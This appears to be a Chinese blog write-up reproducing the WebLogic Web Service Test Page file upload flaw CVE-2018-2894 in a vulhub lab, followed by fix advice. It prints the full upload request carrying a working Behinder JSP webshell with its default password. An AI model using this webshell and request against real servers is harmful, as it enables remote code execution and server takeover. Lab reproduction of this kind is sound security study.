【漏洞复现】Weblogic 任意文件上传漏洞(CVE-2018-2894)

漏洞简介

Oracle在7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page在"生产模式"下默认不开启,所以该漏洞有一定限制,利用该漏洞,可以上传任意.jsp文件,进而获取服务器权限。

影响版本

Oracle WebLogic Server,版本10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3。

环境搭建

使用vulhub的靶场环境
 

1.切到 cd /vulhub-master/weblogic/CVE-2018-2894 目录下
2.docker-compose up -d 启动漏洞环境
3.访问:http://your-ip:7001/console
如图所示,即为搭建成功。

参考之前笔记vulhub docker靶场搭建-CSDN博客

执行docker-compose logs | grep password可查看管理员密码,管理员用户名为:weblogic。

登录后台页面,点击base_domain的配置,在“高级”中开启“启用 Web 服务测试页”选项:

漏洞复现

1.访问如下链接

http://your-ip:7001/ws_utc/config.do

设置Work Home Dir为:

路径:
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

2.将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要。

3.点击安全 -> 增加,上传webshelll,这里用的是冰蝎的马,密码为rebeyond。

4.BurpSuite抓包,得到时间戳:

完整数据包:

POST /ws_utc/resources/setting/keystore?timestamp=1652192416829 HTTP/1.1
Host: 192.168.110.136:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------286671924331292381372054486536
Content-Length: 1483
Origin: http://192.168.110.136:7001
Connection: close
Referer: http://192.168.110.136:7001/ws_utc/config.do
Cookie: pma_lang=zh_CN; pma_collation_connection=utf8_unicode_ci; JSESSIONID=eMOuVkbE4I_kWIfWJVtJUmK0gVEhFnqD_z0EvOhE-EzOuzpQvWsP!-37318034
Upgrade-Insecure-Requests: 1

-----------------------------286671924331292381372054486536
Content-Disposition: form-data; name="ks_name"

weblogic
-----------------------------286671924331292381372054486536
Content-Disposition: form-data; name="ks_edit_mode"

false
-----------------------------286671924331292381372054486536
Content-Disposition: form-data; name="ks_password_front"

xOPp22ro
-----------------------------286671924331292381372054486536
Content-Disposition: form-data; name="ks_password"

xOPp22ro
-----------------------------286671924331292381372054486536
Content-Disposition: form-data; name="ks_password_changed"

true
-----------------------------286671924331292381372054486536
Content-Disposition: form-data; name="ks_filename"; filename="shell.jsp"
Content-Type: application/octet-stream

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
-----------------------------286671924331292381372054486536--

返回安全界面,上传成功。

4.访问上传的webshell:

http://your-ip:7001/ws_utc/css/config/keystore/1652192470370_shell.jsp

5.再上冰蝎

6.进入docker容器查看一下文件

修复方案

1.设置config.do,begin.do页面登录授权后访问。

2.IPS等防御产品可以加入相应的特征。

3.升级到官方的最新版本。


 

相关推荐

  1. CVE-2024-0352:Likeshop任意文件漏洞 [附POC]

    2024-04-26 07:14:02       33 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-04-26 07:14:02       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-04-26 07:14:02       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-04-26 07:14:02       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-04-26 07:14:02       20 阅读

热门阅读

  1. 容易记混的方法slice、splice、split

    2024-04-26 07:14:02       14 阅读
  2. uniapp判断是图片还是pdf,如果是pdf则进行下载预览

    2024-04-26 07:14:02       15 阅读
  3. 力扣654,最大二叉树

    2024-04-26 07:14:02       15 阅读
  4. Hyper-V Ubuntu 虚拟机配置双网卡

    2024-04-26 07:14:02       12 阅读
  5. 【WebRTC】【Unity】局域网UDP通信为何不通

    2024-04-26 07:14:02       16 阅读
  6. 在Visual Studio中查看C项目使用的C语言版本

    2024-04-26 07:14:02       15 阅读
  7. 阐述 Git 命令 reset 和 revert

    2024-04-26 07:14:02       14 阅读